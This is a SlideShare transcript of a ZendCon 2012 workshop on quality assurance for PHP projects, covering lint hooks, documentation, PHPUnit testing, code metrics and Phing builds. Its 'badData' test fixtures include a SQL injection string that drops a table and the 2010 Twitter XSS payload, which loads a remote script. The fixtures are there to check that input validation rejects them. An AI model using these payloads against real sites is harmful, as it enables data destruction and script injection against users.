Quality Assurancefor PHP projects  ZendCon 2012, Santa Clara CA
Michelangelo van Dam
Schedule Workshop Introduction to Quality Assurance         Revision control           Documenting               Testing  ...
#zendcon12 #wsqa
Introduction to QA
Why QA?
Why QASafeguarding code
Detect bugs early
Observe behavior
Prevent accidents from happening
Tracking progress
Why invest in QA?
Keeps your code in shape
Measures speed and performance
Boosts team spirit
Saves time
Reports continuously
Delivers ready to deploy packages
Quality Assurance Tools
Revision Control
SCM Tools• Subversion• Git• Mercurial• Bazaar• Source Vault
FTP
Advantages of SCM                                    TIP:	  hooks	  for	  tools• team development possible• tracking multi...
Syntax Checking
php	  -­‐l	  (lint)h4p://www.php.net/manual/en/features.commandline.op>ons.php
PHP Lint                                TIP:	  pre-­‐commit	  hook• checks the syntax of code• build in PHP core•- is used...
Syntaxphp -lf /path/to/filename.php
PHP	  Lint	  on	  Command	  Line
SVN Pre commit hook#!/bin/sh## Pre-commit hook to validate syntax of incoming PHP files, if no failures it# accepts the co...
SVN	  pre-­‐commit	  hook
Documenting
Why documenting?• new members in the team• working with remote workers• analyzing improvements• think before doing• used b...
PHPDoc2phpDocumentor    +          DocBlox           March 16, 2012
Phpdoc2
Phpdoc2	  class	  details
Based	  on	  docblocks	  in	  code
And	  the	  output
Phpdoc2	  class	  rela>on	  chart
Phpdoc2	  on	  your	  project
Testing
developer testing 201:when to mock and when to integrate
Any reasons not to test?
Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…
NO EXCUSES!
Maintainability•- during development     test will fail indicating bugs•- after sales support    testing if an issue is ge...
Remember“Once a test is made, it will always be tested!”
Confidence•- for the developer     code works•- for the manager     project succeeds•- for sales / general management / sha...
Unit testing ZF apps
Setting things up
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true">    <testsuite name="Unit test suite">        <directory>./...
TestHelper.php<?php// set our app paths and environmentsdefine(BASE_PATH, realpath(dirname(__FILE__) . /../));define(APPLI...
Zend_Tool since 1.11.4• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php                             Ralph...
Let’s get started…
Testing Zend_Form
CommentForm        Name:E-mail Address:      Website:    Comment:       Post
Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{    protected $_form;   ...
The good stuffpublic function goodData(){     return array (         array (John Doe, john.doe@example.com,               ...
Protection!Protection
Little Bobby Tables      http://xkcd.com/327/
Twitter Hack                          http://xkcd.com/327/http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.secu...
The bad stuffpublic function badData(){     return array (         array (,,,),         array ("Robert; DROP TABLES commen...
Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{    public function init()    {        /* F...
Let’s run the test
Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{    public function init()    {        ...
Less errors?
Filter - Validate$this->addElement(text, name, array (    Label => Name, Required => true,    Filters => array (StringTrim...
Green, warm & fuzzy
You’re a winner!☑ quality code☑ tested☑ secure☑ reusable
Testing models
Testing business logic•- models contain logic   tied to your business - tied to your storage - tied to your resources• no ...
Type: data containers•- contains structured data    populated through setters and getters•- perform logic tied to it’s pur...
Comment Class
Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{    protected $_comment;    ...
This test won’t run!
Create a simple model<?phpclass Application_Model_Comment{    protected $_id = 0; protected $_fullName; protected $_emailA...
We pass the test…
Really ???
Not all data from form!•- model can be populated from    users through the form - data stored in the database - a webservi...
The good stuffpublic function goodData(){     return array (         array (John Doe, john.doe@example.com,               ...
The bad stuffpublic function badData(){     return array (         array (,,,),         array ("Robert; DROP TABLES commen...
Let’s run it
Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){    $this->_filters...
Modify setters: Id & namepublic function setId($id){    $input = new Zend_Filter_Input($this->_filters, $this->_validators...
Email & websitepublic function setEmailAddress($emailAddress){    $input = new Zend_Filter_Input($this->_filters, $this->_...
and commentpublic function setComment($comment){    $input = new Zend_Filter_Input($this->_filters, $this->_validators);  ...
Now we’re good!
Testing Databases
Integration Testing•- database specific functionality   triggers - constraints - stored procedures - sharding/scalability• ...
Points of concern•- beware of automated data types   auto increment sequence ID’s - default values like CURRENT_TIMESTAMP•...
The domain Model• Model object• Mapper object• Table gateway object    Read more about it ☞
Change our test classclass Application_Model_CommentTest   extends PHPUnit_Framework_TestCasebecomesclass Application_Mode...
Setting DB Testing upprotected $_connectionMock;public function getConnection(){    if (null === $this->_dbMock) {        ...
initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"  ...
Testing SELECTpublic function testDatabaseCanBeRead(){    $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(        $thi...
selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"   ...
Testing UPDATEpublic function testDatabaseCanBeUpdated(){    $comment = new Application_Model_Comment();    $mapper = new ...
updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"   ...
Testing DELETEpublic function testDatabaseCanDeleteAComment(){    $comment = new Application_Model_Comment();    $mapper =...
deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="2"       fullName="Martin Fowler"  ...
Testing INSERTpublic function testDatabaseCanAddAComment(){    $comment = new Application_Model_Comment();    $comment->se...
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       id="1"       fullName="B.A. Baracus"   ...
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){    $comment = new Application_Model_Comment();    $co...
insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset>    <comment       fullName="B.A. Baracus"       emailAddr...
Run Test
Testing web services
Web services remarks•- you need to comply with an API    that will be your reference•- you cannot always make a test-call ...
Example: joind.in
http://joind.in/api
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{    protected $_joindin;    protected ...
JoindinTestpublic function testJoindinCanGetUserDetails(){    $expected = <?xml version="1.0"?><response><item><username>D...
Testing the service
Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expec...
And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+...
Solution… right here!
Your expectations
JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{    protected $_joindin;    protected ...
JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){    $response = <<<EOSHTTP/1.1 200 OKContent-type: text/...
JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){    $date = new DateTime();    $date->setTimezone(new Dat...
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest<?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{    public function s...
Testing if form is on pagepublic function testIndexAction(){    $params = array(        action => index,        controller...
Test processingpublic function testProcessAction(){    $testData = array (        name    => testUser,        mail    => t...
REMARK•- data providers can be used   to test valid data - to test invalid data• but we know it’s taken care of our model ...
Test if we hit homepublic function testSuccessAction(){    $params = array(        action => success,        controller =>...
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
Fork this codehttp://github.com/DragonBe/zftest
Measuring
Code Analysis
Questions• how stable is my code?• how flexible is my code?• how complex is my code?• how easy can I refactor my code?
Answers• PHPDepend - Dependency calculations• PHPMD - Mess detections and code “smells”• PHPCPD - Copy/paste detection• PH...
PHP Depend
What?• generates metrics• measure health• identify parts to improve (refactor)
pdepend pyramid
• CYCLO: Cyclomatic Complexity• LOC: Lines of Code• NOM: Number of Methods• NOC: Number of Classes• NOP: Number of Package...
Cyclomatic Complexity• metric calculation• execution paths•- independent control structures     if, else, for, foreach, sw...
Average Hierarchy HeightThe average of the maximum length from a root class               to its deepest subclass
pdepend pyramidInheritance              few classes derived from other classes              lots of classes inherit from o...
pdepend pyramidSize and complexity
pdepend pyramid           Coupling
pdepend pyramid          High value
pdepend-graphgraph	  about	  stability:	  a	  mix	  between	  abstract	  and	  concrete	  classes
PHP	  Depend
PHP Mess Detection
What?•- detects code smells     possible bugs -   sub-optimal code -   over complicated expressions -   unused parameters,...
PHPMD	  in	  ac>on
PHP Copy/Paste  Detection
What?•- detects similar code snippets    plain copy/paste work - similar code routines• indicates problems - maintenance h...
PHP CodeSniffer
Required evil•- validates coding standards   consistency - readability• set as a policy for development• reports failures ...
Performance Analysis
https://twitter.com/#!/andriesss/status/189712045766225920
Automating
Key reason“computers are great at doing repetitive tasks very well”
Repetition• syntax checking• documenting• testing• measuring
Why Phing?• php based (it’s already on our system)• open-source• supported by many tools• very simple syntax• great docume...
Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">    <!-- set...
Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"><project s...
Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">   <!-- set ...
Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">    <!-- set...
Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint">    <!-- set...
Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint">     <!-- ...
build.propertiesproject.title=WeCyclephpbook:qademo dragonbe$ cat build.properties# General settingsproject.website=http:/...
local.propertiesproject.website=http://qademo.localabrequests=1000abconcurrency=10db.username=qademo_userdb.password=v3rRy...
Let’s	  run	  it
Artifacts• some tools provide output we can use later• called “artifacts”• we need to store them somewhere• so we create a...
Prepare for artifacts<target name="prepare" description="Clean up the build path">    <delete dir="${project.basedir}/buil...
phpdoc2<target name="phpdoc2" description="Generating automated documentation">    <property name="doc.title" value="${pro...
PHPUnit<target name="phpunit" description="Running unit tests">    <exec        command="/usr/bin/phpunit          --cover...
PHP_CodeSniffer<target name="phpcs" description="Validate code with PHP CodeSniffer">    <exec        command="/usr/bin/ph...
Copy Paste Detection<target name="phpcpd" description="Detect copy/paste with PHPCPD">    <phpcpd>        <fileset refid="...
PHP Mess Detection<target name="phpmd" description="Mess detection with PHPMD">    <phpmd>        <fileset refid="phpfiles...
PHP Depend<target name="pdepend" description="Dependency calculations with PDepend">    <phpdepend>        <fileset refid=...
PHP CodeBrowser<target name="phpcb" description="Code browser with PHP_CodeBrowser">    <exec        command="/usr/bin/php...
Create a build procedure<target name="build" description="Building app">    <phingCall target="prepare" />    <phingCall t...
Other things to automate• server stress-testing with Apache Benchmark• database deployment with DBDeploy• package code bas...
Example DBDeploy<target name="dbdeploy" description="Update the DB to the latest version">    <!-- set the path for mysql ...
Build	  it
Continuous Integration
Deployment                                                        DEV     TEST        ACC                          PRODBui...
Now you are a winner!
Team Works!
Conclusion
Get your information in a consistent, automated wayand make it accessible for the team
More people can better safeguard           the code!
QA starts with YOU!
Recommended	  reading• the	  PHP	  QA	  book  -­‐ Sebas>an	  Bergmann  -­‐ Stefan	  Priebsch
Recommended	  reading• The	  Grumpy	  Book  -­‐ Chris	  Hartjes
Recommended	  reading                                 Free• OOD	  Quality	  Metrics  -­‐ Robert	  Cecil	  Mar>n           ...
Michelangelo van DamCertified Zend Engineer                                         2michelangelo@in2it.be(202) 559-7401@Dr...
https://joind.in/6858Please leave feedback to make this workshop better
PHP  BENELUXCONFERENCEAntwerp	  2013 phpcon.eu
CreditsI’d like to thank the following people for sharing their creative commons picturesmichelangelo: http://www.flickr.co...
Thank you
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Quality Assurance for PHP projects - ZendCon 2012
Upcoming SlideShare
Loading in …5
×

Quality Assurance for PHP projects - ZendCon 2012

9,252 views

Published on

0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
9,252
On SlideShare
0
From Embeds
0
Number of Embeds
16
Actions
Shares
0
Downloads
56
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

Quality Assurance for PHP projects - ZendCon 2012

  1. 1. Quality Assurancefor PHP projects ZendCon 2012, Santa Clara CA
  2. 2. Michelangelo van Dam
  3. 3. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!
  4. 4. #zendcon12 #wsqa
  5. 5. Introduction to QA
  6. 6. Why QA?
  7. 7. Why QASafeguarding code
  8. 8. Detect bugs early
  9. 9. Observe behavior
  10. 10. Prevent accidents from happening
  11. 11. Tracking progress
  12. 12. Why invest in QA?
  13. 13. Keeps your code in shape
  14. 14. Measures speed and performance
  15. 15. Boosts team spirit
  16. 16. Saves time
  17. 17. Reports continuously
  18. 18. Delivers ready to deploy packages
  19. 19. Quality Assurance Tools
  20. 20. Revision Control
  21. 21. SCM Tools• Subversion• Git• Mercurial• Bazaar• Source Vault
  22. 22. FTP
  23. 23. Advantages of SCM TIP:  hooks  for  tools• team development possible• tracking multi-versions of source code• moving back and forth in history• tagging of milestones• backup of source code•- accessible from command line - native apps - IDE’s - analytical tools
  24. 24. Syntax Checking
  25. 25. php  -­‐l  (lint)h4p://www.php.net/manual/en/features.commandline.op>ons.php
  26. 26. PHP Lint TIP:  pre-­‐commit  hook• checks the syntax of code• build in PHP core•- is used per file pre-commit hook for version control system - batch processing of files• can provide reports - but if something fails -> the build fails
  27. 27. Syntaxphp -lf /path/to/filename.php
  28. 28. PHP  Lint  on  Command  Line
  29. 29. SVN Pre commit hook#!/bin/sh## Pre-commit hook to validate syntax of incoming PHP files, if no failures it# accepts the commit, otherwise it fails and blocks the commitREPOS="$1"TXN="$2"# modify these system executables to match your systemPHP=/usr/bin/phpAWK=/usr/bin/awkGREP=/bin/grepSVNLOOK=/usr/bin/svnlook# PHP Syntax checking with PHP Lint# originally from Joe Stump at Digg# https://gist.github.com/53225#for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK {print $2}`do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = FALSE ]; then echo $CHECK 1>&2; exit 1 fi fidone
  30. 30. SVN  pre-­‐commit  hook
  31. 31. Documenting
  32. 32. Why documenting?• new members in the team• working with remote workers• analyzing improvements• think before doing• used by IDE’s and editors for code hinting ;-)
  33. 33. PHPDoc2phpDocumentor + DocBlox March 16, 2012
  34. 34. Phpdoc2
  35. 35. Phpdoc2  class  details
  36. 36. Based  on  docblocks  in  code
  37. 37. And  the  output
  38. 38. Phpdoc2  class  rela>on  chart
  39. 39. Phpdoc2  on  your  project
  40. 40. Testing
  41. 41. developer testing 201:when to mock and when to integrate
  42. 42. Any reasons not to test?
  43. 43. Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…
  44. 44. NO EXCUSES!
  45. 45. Maintainability•- during development test will fail indicating bugs•- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!• long term projects - refactoring made easy
  46. 46. Remember“Once a test is made, it will always be tested!”
  47. 47. Confidence•- for the developer code works•- for the manager project succeeds•- for sales / general management / share holders making profit•- for the customer paying for what they want
  48. 48. Unit testing ZF apps
  49. 49. Setting things up
  50. 50. phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter></phpunit>
  51. 51. TestHelper.php<?php// set our app paths and environmentsdefine(BASE_PATH, realpath(dirname(__FILE__) . /../));define(APPLICATION_PATH, BASE_PATH . /application);define(TEST_PATH, BASE_PATH . /tests);define(APPLICATION_ENV, testing);// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . /library . PATH_SEPARATOR . get_include_path());// Set the default timezone !!!date_default_timezone_set(Europe/Brussels);// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);require_once Zend/Application.php;$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini);$application->bootstrap();
  52. 52. Zend_Tool since 1.11.4• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  53. 53. Let’s get started…
  54. 54. Testing Zend_Form
  55. 55. CommentForm Name:E-mail Address: Website: Comment: Post
  56. 56. Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }}
  57. 57. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertTrue($this->_form->isValid($data));}
  58. 58. Protection!Protection
  59. 59. Little Bobby Tables http://xkcd.com/327/
  60. 60. Twitter Hack http://xkcd.com/327/http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
  61. 61. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little Bobby Tables), array (str_repeat(x, 100000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter 9/21/2010), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertFalse($this->_form->isValid($data));}
  62. 62. Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { /* Form Elements & Other Definitions Here ... */ }}
  63. 63. Let’s run the test
  64. 64. Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { $this->addElement(text, name, array ( Label => Name, Required => true)); $this->addElement(text, mail, array ( Label => E-mail Address, Required => true)); $this->addElement(text, web, array ( Label => Website, Required => false)); $this->addElement(textarea, comment, array ( Label => Comment, Required => true)); $this->addElement(submit, post, array ( Label => Post, Ignore => true)); }}
  65. 65. Less errors?
  66. 66. Filter - Validate$this->addElement(text, name, array ( Label => Name, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, mail, array ( Label => E-mail Address, Required => true, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, web, array ( Label => Website, Required => false, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(textarea, comment, array ( Label => Comment, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000))),));
  67. 67. Green, warm & fuzzy
  68. 68. You’re a winner!☑ quality code☑ tested☑ secure☑ reusable
  69. 69. Testing models
  70. 70. Testing business logic•- models contain logic tied to your business - tied to your storage - tied to your resources• no “one size fits all” solution
  71. 71. Type: data containers•- contains structured data populated through setters and getters•- perform logic tied to it’s purpose transforming data - filtering data - validating data• can convert into other data types - arrays - strings (JSON, serialized, xml, …)• are providers to other models
  72. 72. Comment Class
  73. 73. Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
  74. 74. This test won’t run!
  75. 75. Create a simple model<?phpclass Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( id => $this->getId(), fullName => $this->getFullName(), emailAddress => $this->getEmailAddress(), website => $this->getWebsite(), comment => $this->getComment(), ); }}
  76. 76. We pass the test…
  77. 77. Really ???
  78. 78. Not all data from form!•- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others)• simply test it - by using same test scenario’s from our form
  79. 79. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail(Unexpected exception should not be triggered); } $data[id] = 0; $data[emailAddress] = strtolower($data[emailAddress]); $data[website] = strtolower($data[website]); $this->assertSame($this->_comment->toArray(), $data);}
  80. 80. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little BobbyTables), array (str_repeat(x, 1000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter9/21/2010), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail(Expected exception should be triggered);}
  81. 81. Let’s run it
  82. 82. Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){ $this->_filters = array ( id => array (Int), fullName => array (StringTrim, StripTags, new Zend_Filter_Alnum(true)), emailAddress => array (StringTrim, StripTags, StringToLower), website => array (StringTrim, StripTags, StringToLower), comment => array (StringTrim, StripTags), ); $this->_validators = array ( id => array (Int), fullName => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), emailAddress => array ( EmailAddress, new Zend_Validate_StringLength(array (min => 4, max => 50)), ), website => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), comment => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
  83. 83. Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (id => $id)); if (!$input->isValid(id)) { throw new Zend_Exception(Invalid ID provided); } $this->_id = (int) $input->id; return $this;}public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (fullName => $fullName)); if (!$input->isValid(fullName)) { throw new Zend_Exception(Invalid fullName provided); } $this->_fullName = (string) $input->fullName; return $this;}
  84. 84. Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (emailAddress => $emailAddress)); if (!$input->isValid(emailAddress)) { throw new Zend_Exception(Invalid emailAddress provided); } $this->_emailAddress = (string) $input->emailAddress; return $this;}public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (website => $website)); if (!$input->isValid(website)) { throw new Zend_Exception(Invalid website provided); } $this->_website = (string) $input->website; return $this;}
  85. 85. and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (comment => $comment)); if (!$input->isValid(comment)) { throw new Zend_Exception(Invalid comment provided); } $this->_comment = (string) $input->comment; return $this;}
  86. 86. Now we’re good!
  87. 87. Testing Databases
  88. 88. Integration Testing•- database specific functionality triggers - constraints - stored procedures - sharding/scalability• data input/output - correct encoding of data - transactions execution and rollback
  89. 89. Points of concern•- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP• beware of time related issues - timestamp vs. datetime - UTC vs. local time
  90. 90. The domain Model• Model object• Mapper object• Table gateway object Read more about it ☞
  91. 91. Change our test classclass Application_Model_CommentTest extends PHPUnit_Framework_TestCasebecomesclass Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  92. 92. Setting DB Testing upprotected $_connectionMock;public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); $this->bootstrap->bootstrap(db); $db = $this->bootstrap->getBootstrap()->getResource(db); $this->_connectionMock = $this->createZendDbConnection( $db, zftest ); return $this->_connectionMock; }}public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . /../tests/_files/initialDataSet.xml));}
  93. 93. initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  94. 94. Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/selectDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  95. 95. selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  96. 96. Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment(I like you picking up the challenge!); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/updateDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  97. 97. updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  98. 98. Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/deleteDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  99. 99. deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
